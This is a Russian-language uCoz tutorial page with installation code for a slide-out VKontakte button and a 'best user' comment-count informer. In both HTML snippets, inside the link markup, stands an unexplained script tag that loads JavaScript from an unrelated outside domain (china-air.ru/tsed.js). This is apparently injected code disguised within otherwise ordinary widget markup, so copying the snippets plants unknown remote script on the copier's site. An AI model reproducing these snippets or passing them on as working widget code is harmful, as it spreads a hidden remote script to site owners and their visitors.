Для красивого отображения этого блока требуется Flash Player 9 или выше.

Главная » 2012 » Декабрь » 15
[c][/c]Описание: Скрипты для ucoz - Выдвижная кнопка ВКонтакте для uCoz

Этак кнопка будет находиться в правой части сайта. В состоянии покоя показывается только буква «В», а при наведении на эту самую букву выдвигается остальная часть, и теперь можно увидеть полную надпись, «ВКонтакте». Выдвижную кнопка ВКонтакте для uCoz можно установить и на сайте с другогим хостингом, пример Вы можете увидеть справа.

Установка

1.) Открываем Панель управления, находим Таблицу стилей (CSS), и вставляем вот этот код:

[code]#vkontakte_button img {
position: fixed;
top:125px;
right: -76px;
z-index: 99999;
cursor: pointer;
display: block;
} [/code]

2.) Следующий код вставляем в любое место на странице между head и /head:

[code]<script type="text/javascript">
$(function($) {
$("#vkontakte_button img").hover(
function () {
$(this).animate({right: '0'}, {queue:false, duration: 350});
//$(this).css('right', '0');
},
function () {
$(this).animate({right: '-76px'}, {queue:false, duration: 350});
// $(this).css('right', '-76px');
}
);
});
</script>
<a id="vkontakte_button" href="http://vkontakte.ru/id23....25" onclick="webChatOpen();return false;">
<img alt="ВКонтакте" src="http://bambun.ru/images/26762164.gif"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script>
</a>[/code]

Настройка скрипта

Находим строчку в скрипте вот такую: http://vkontakte.ru/id23....25 и заменяем на свой линк..

Вот и все, установка и настройка завершена.
Просмотров: 272 | Дата: 15.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

[c][/c]Описание:

Лучший пользователь сайта для ucoz. Это ячейка, в которой находиться аватар пользователя и его общее количество комментарий, подойдёт для блогов, в которых пользователи боряться за право быть лучшим пользователем блога.
Установка
- заходим в админ панель сайта => Инструменты => Информеры => создать информер

- Раздел: ( пользователи )
- Способ сортировки: ( количество комментарий )
- Количество материалов: ( 1 )
- Количество колонок: ( 1 )
теперь открываем информер и копируем туда следующий код:

[code]<div class="comment_info transparency_i">
<div class="comment_v">
<a href="$PROFILE_URL$" title="Профиль пользователя $USERNAME$"><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?if($AVATAR_URL$)?><img class="avatar_img" src="$AVATAR_URL$" /><?else?><img class="avatar_img" src="http://bambun.ru/images/no_avat_ar.jpg" alt="no" /><?endif?>
</a>
$USERNAME$
</div>

<div class="comment_n">
<img src="http://bambun.ru/images/ico_coment.gif" alt="иконка комментария"> $COM_POSTS$
</div>

</div>[/code]

и css стили

[code].comment_info {
text-align:center;
font:9px Verdana,Arial,Helvetica, sans-serif; color:#85898f;
width:100px;
border:1px solid #d2d2d4;
background: #e4e5e7;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
}

.avatar_img {
width:65px;
height:65px;
background: #fff;
border:1px solid #d2d2d4;
padding: 4px;
margin-bottom: 3px;
}
.comment_v {
border-bottom: 1px solid #d2d2d4;
padding: 10px 0px 4px 0px;
}

.comment_n {
border-top: 1px solid #fff;
padding: 5px 0px 5px 0px;
}

.transparency_i a:hover img {
filter: progid: DXImageTransform.Microsoft.Alpha(opacity=70);
-moz-opacity: 0.7;
opacity: 0.7;
filter: alpha(opacity=70);
}[/code]
Просмотров: 319 | Дата: 15.12.2012 | Рейтинг: 0.0/0 | Комментарии (0)

 
 
 
 
 
 
 
 
Copyright Panterka  В.ерный © 2025 Хостинг от uCoz